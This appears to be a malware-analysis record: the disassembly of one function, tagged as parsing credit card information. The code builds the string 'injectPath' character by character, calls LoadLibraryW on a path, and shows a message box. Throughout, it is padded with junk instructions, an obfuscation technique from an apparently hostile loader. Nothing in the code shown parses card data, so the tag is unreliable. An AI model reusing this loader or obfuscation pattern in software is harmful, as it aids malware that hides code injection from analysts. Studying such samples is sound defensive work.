Function at 0x1000cc10
Capabilities:
Parse credit card information

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1002a2c3
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xbc
mov eax, ecx
cmp eax, 0xd8e1833e
mov eax, 0x673674d1
mov eax, ebx
cmp eax, 0x64
cmp eax, 0x2c8d0634
cmp eax, 0x7c
mov eax, ebx
cmp eax, 0xc162c737
cmp eax, 0x43
nop
mov eax, ecx
mov eax, ecx
nop
nop
push 3
push 2
push 1
call fcn.1000c200
add esp, 0xc
mov eax, 2
imul ecx, eax, 0
mov edx, 0x69
mov word [ebp + ecx - 0x28], dx
nop
mov eax, ebx
mov eax, ecx
nop
mov eax, ebx
cmp eax, 0xe9b5edb5
mov eax, ebx
mov eax, 0x11d4594a
mov eax, 0x5663b4f8
mov eax, ebx
inc eax
inc eax
inc eax
cmp eax, 0xffffff94
inc eax
nop
nop
cmp eax, 0x14ecb415
inc eax
push 3
push 2
push 1
call fcn.1000c200
add esp, 0xc
mov eax, 2
shl eax, 1
mov ecx, 0x6a
mov word [ebp + eax - 0x28], cx
nop
inc eax
nop
cmp eax, 0xc
mov eax, ebx
mov eax, ecx
mov eax, ebx
cmp eax, 0xffffffc3
mov eax, ebx
cmp eax, 0x644e18ef
mov eax, ecx
nop
inc eax
cmp eax, 0xffffffd5
mov eax, 0xb7dc6682
nop
cmp eax, 0x45
inc eax
nop
mov eax, ebx
push 3
push 2
push 1
call fcn.1000c200
add esp, 0xc
mov edx, 2
imul eax, edx, 5
mov ecx, 0x74
mov word [ebp + eax - 0x28], cx
cmp eax, 0xc
cmp eax, 0xa588ba85
cmp eax, 0x59
mov eax, ebx
nop
inc eax
cmp eax, 0x20
mov eax, 0x1d1d2226
inc eax
mov eax, ecx
mov eax, ebx
inc eax
mov eax, ecx
nop
cmp eax, 0xffffffe1
nop
mov eax, 0xcec21675
inc eax
push 3
push 2
push 1
call fcn.1000c200
add esp, 0xc
mov edx, 2
shl edx, 0
mov eax, 0x6e
mov word [ebp + edx - 0x28], ax
nop
mov eax, 0x58e44d49
mov eax, ebx
mov eax, ebx
nop
inc eax
mov eax, ebx
mov eax, ebx
cmp eax, 0xffffffb5
cmp eax, 0x3fb17bd7
mov eax, ecx
inc eax
cmp eax, 0xffffff8d
mov eax, 0xc178a336
mov eax, 0x1222f00a
mov eax, ebx
push 3
push 2
push 1
call fcn.1000c200
add esp, 0xc
mov ecx, 2
shl ecx, 2
mov edx, 0x63
mov word [ebp + ecx - 0x28], dx
inc eax
nop
mov eax, ecx
cmp eax, 8
nop
mov eax, ecx
cmp eax, 0xec9c2f8b
cmp eax, 0xedf26292
nop
mov eax, ecx
mov eax, ebx
inc eax
mov eax, ecx
cmp eax, 0x13ee7ad
mov eax, ecx
nop
cmp eax, 0xffffffb2
mov eax, ebx
inc eax
push 3
push 2
push 1
call fcn.1000c200
add esp, 0xc
mov eax, 2
imul ecx, eax, 7
mov edx, 0x61
mov word [ebp + ecx - 0x28], dx
mov eax, ecx
mov eax, ebx
mov eax, ecx
cmp eax, 0x54
mov eax, 0xaa9ebbed
nop
cmp eax, 0x7fda28df
nop
nop
nop
cmp eax, 0x23
mov eax, 0xd0189511
mov eax, ecx
nop
mov eax, 0x3c685490
cmp eax, 0x32
push 3
push 2
push 1
call fcn.1000c200
add esp, 0xc
mov eax, 2
imul ecx, eax, 6
mov edx, 0x50
mov word [ebp + ecx - 0x28], dx
mov eax, ebx
nop
cmp eax, 0x3f
inc eax
inc eax
nop
cmp eax, 0x7e565489
mov eax, 0x254f4582
mov eax, ebx
inc eax
inc eax
cmp eax, 0x4035a79d
mov eax, ebx
nop
mov eax, 0x5c30188a
inc eax
cmp eax, 0xf83da377
push 3
push 2
push 1
call fcn.1000c200
add esp, 0xc
mov eax, 2
imul ecx, eax, 3
mov edx, 0x65
mov word [ebp + ecx - 0x28], dx
cmp eax, 0xfffffffe
mov eax, ebx
mov eax, ecx
nop
mov eax, ebx
cmp eax, 0x7e7a75a4
mov eax, ecx
inc eax
cmp eax, 0xd8fc064f
nop
nop
cmp eax, 0x10
nop
nop
mov eax, ebx
inc eax
nop
mov eax, ebx
cmp eax, 0xffffffd6
inc eax
mov eax, ecx
push 3
push 2
push 1
call fcn.1000c200
add esp, 0xc
mov eax, 2
shl eax, 3
mov ecx, 0x74
mov word [ebp + eax - 0x28], cx
mov eax, ecx
nop
mov eax, ebx
mov eax, 0x332979a6
cmp eax, 0x26
cmp eax, 0xfffffff3
mov eax, ecx
nop
nop
cmp eax, 0xdcbc7b50
nop
nop
inc eax
mov eax, ebx
nop
nop
cmp eax, 0x3732979c
mov eax, ecx
mov eax, ebx
inc eax
push 3
push 2
push 1
call fcn.1000c200
add esp, 0xc
mov edx, 2
imul eax, edx, 0xa
xor ecx, ecx
mov word [ebp + eax - 0x28], cx
cmp eax, 0xe8dbc785
cmp eax, 0x3c
cmp eax, 0x17
nop
cmp eax, 0xffffff9a
cmp eax, 0x799d4528
nop
mov eax, 0xcef20a42
cmp eax, 0x4d
mov eax, ebx
mov eax, ebx
inc eax
mov eax, ecx
inc eax
cmp eax, 0xd
mov eax, ebx
push 3
push 2
push 1
call fcn.1000c200
add esp, 0xc
mov edx, 2
imul eax, edx, 9
mov ecx, 0x68
mov word [ebp + eax - 0x28], cx
mov eax, ebx
cmp eax, 0x16
cmp eax, 0xcd52c0e9
cmp eax, 0xffffffa7
mov eax, 0x67141a80
mov eax, ebx
cmp eax, 0x4050bcef
cmp eax, 0x979d2d5e
cmp eax, 0xffffffc9
mov eax, ebx
cmp eax, 0xffffffcf
mov eax, ecx
mov eax, ecx
push 3
push 2
push 1
call fcn.1000c200
add esp, 0xc
lea ecx, [ebp - 0x50]
call fcn.100069a0
mov dword [ebp - 4], 0
cmp eax, 0x77
mov eax, ecx
mov eax, ecx
inc eax
mov eax, ecx
mov eax, 0xc52e195d
cmp eax, 0x2f
mov eax, 0xc884131c
inc eax
cmp eax, 0x62
nop
mov eax, 0xb4db8d76
cmp eax, 0x4b
mov eax, ebx
inc eax
mov eax, ecx
nop
push 3
push 2
push 1
call fcn.1000c200
add esp, 0xc
lea edx, [ebp - 0x28]
push edx
lea ecx, [ebp - 0x80]
call fcn.10006b60
mov byte [ebp - 4], 1
lea eax, [ebp - 0x80]
push eax
call fcn.10008d00
add esp, 4
mov byte [ebp - 0xd], al
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x80]
call fcn.10007a80
movzx ecx, byte [ebp - 0xd]
test ecx, ecx
je 0x1000d114
nop
inc eax
nop
cmp eax, 0xffffff87
cmp eax, 1
mov eax, ebx
mov eax, 0xc36badbb
nop
inc eax
mov eax, ebx
cmp eax, 0xfffffff6
mov eax, ebx
cmp eax, 0x1d6a300b
mov eax, 0x14eff8af
cmp eax, 0xffffffa7
mov eax, ecx
nop
nop
push 3
push 2
push 1
call fcn.1000c200
add esp, 0xc
lea edx, [ebp - 0x28]
push edx
lea eax, [ebp - 0x98]
push eax
call fcn.1000e200
add esp, 8
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x2c]
push ecx
lea ecx, [ebp - 0x50]
call fcn.10008050
lea ecx, [ebp - 0x98]
call fcn.10007a40
cmp eax, 0x32
mov eax, ebx
nop
mov eax, ecx
mov eax, ebx
mov eax, ebx
mov eax, ebx
inc eax
mov eax, 0x17ba55ff
mov eax, ecx
mov eax, ebx
cmp eax, 0xffffff8f
cmp eax, 0x7b
cmp eax, 0x5f
mov eax, ecx
nop
mov eax, 0x8dfbfc2d
nop
push 3
push 2
push 1
call fcn.1000c200
add esp, 0xc
push 0xfde9
lea ecx, [ebp - 0x50]
call fcn.1000bb10
push eax
call fcn.10008b20
add esp, 8
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
inc eax
mov eax, ebx
cmp eax, 0xcfef0784
mov eax, 0xc6d98dfe
cmp eax, 0xffffffcf
mov eax, ecx
mov eax, ebx
nop
inc eax
mov eax, ebx
cmp eax, 0x747d1347
inc eax
inc eax
cmp eax, 0xffffffe1
cmp eax, 0xffffffc4
nop
mov eax, ecx
nop
inc eax
push 3
push 2
push 1
call fcn.1000c200
add esp, 0xc
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x50]
call fcn.10007a40
jmp 0x1000d36d
lea edx, [ebp - 0x28]
push edx
push 0x1002bee8
lea eax, [ebp - 0xb0]
push eax
call fcn.10008d70
add esp, 4
mov dword [ebp - 0x30], eax
mov ecx, dword [ebp - 0x30]
mov dword [ebp - 0x34], ecx
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x34]
call fcn.1000b5b0
mov ecx, eax
call fcn.1000b5b0
push eax
lea ecx, [ebp - 0x68]
call fcn.10006a60
mov byte [ebp - 4], 4
lea ecx, [ebp - 0xb0]
call fcn.10007a80
nop
inc eax
cmp eax, 0x5e
inc eax
nop
nop
nop
cmp eax, 0x47
mov eax, ebx
nop
mov eax, 0xca814759
nop
mov eax, ebx
inc eax
mov eax, ecx
cmp eax, 0x4ff3aef1
mov eax, ecx
cmp eax, 0x16
cmp eax, 0xa514cb31
inc eax
push 3
push 2
push 1
call fcn.1000c200
add esp, 0xc
lea edx, [ebp - 0x68]
push edx
call fcn.10008d00
add esp, 4
movzx eax, al
test eax, eax
je 0x1000d2c6
mov eax, ebx
mov eax, ebx
mov eax, ebx
mov eax, ebx
cmp eax, 0x18de1b3d
mov eax, ebx
cmp eax, 0xfdbc1e29
mov eax, 0x1c8ebbf5
inc eax
mov eax, ecx
mov eax, ebx
inc eax
mov eax, 0x4d6e3495
mov eax, 0xbf77a913
nop
push 3
push 2
push 1
call fcn.1000c200
add esp, 0xc
lea ecx, [ebp - 0x68]
call fcn.1000bb50
push eax
lea ecx, [ebp - 0xc8]
push ecx
call fcn.1000e200
add esp, 8
mov dword [ebp - 0x38], eax
mov edx, dword [ebp - 0x38]
push edx
lea ecx, [ebp - 0x50]
call fcn.10008050
lea ecx, [ebp - 0xc8]
call fcn.10007a40
mov eax, ecx
inc eax
mov eax, ebx
mov eax, 0x594842f4
cmp eax, 0x5a8c5cc5
cmp eax, 0xffffffd9
mov eax, ebx
cmp eax, 0xffffffaa
inc eax
cmp eax, 0xffffffad
cmp eax, 0x6a6ab5b7
cmp eax, 0xc8aa3518
mov eax, 0xd9f9a934
push 3
push 2
push 1
call fcn.1000c200
add esp, 0xc
push 0xfde9
lea ecx, [ebp - 0x50]
call fcn.1000bb10
push eax
call fcn.10008b20
add esp, 8
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
cmp eax, 0x3d
mov eax, 0xe6445f4c
mov eax, ebx
inc eax
inc eax
mov eax, ebx
mov eax, ebx
cmp eax, 0xffffffd6
mov eax, 0x80dedbf3
mov eax, 0x5d3e8836
cmp eax, 0xb431b0a7
cmp eax, 0xe
mov eax, ebx
inc eax
mov eax, ebx
push 3
push 2
push 1
call fcn.1000c200
add esp, 0xc
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x68]
call fcn.10007a80
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x50]
call fcn.10007a40
jmp 0x1000d36d
mov eax, ecx
mov eax, ecx
cmp eax, 0x11c164e7
nop
mov eax, ebx
cmp eax, 0xffffff9f
mov eax, ecx
mov eax, ecx
nop
cmp eax, 0xf36691f0
mov eax, ecx
nop
cmp eax, 0xffffffb3
mov eax, ecx
mov eax, ebx
mov eax, 0xec59e070
mov eax, ebx
push 3
push 2
push 1
call fcn.1000c200
add esp, 0xc
push 0x41030
lea ecx, [ebp - 0x68]
call fcn.1000bb50
push eax
mov eax, 0x1002beec
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
cmp eax, 0xf3c467f3
mov eax, ecx
cmp eax, 0xf4d5b620
mov eax, 0xb211c1b3
inc eax
nop
mov eax, ebx
mov eax, ebx
cmp eax, 0xf626d289
nop
nop
mov eax, ebx
mov eax, ebx
mov eax, ecx
cmp eax, 0x1d
mov eax, ecx
nop
push 3
push 2
push 1
call fcn.1000c200
add esp, 0xc
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x68]
call fcn.10007a80
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x50]
call fcn.10007a40
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret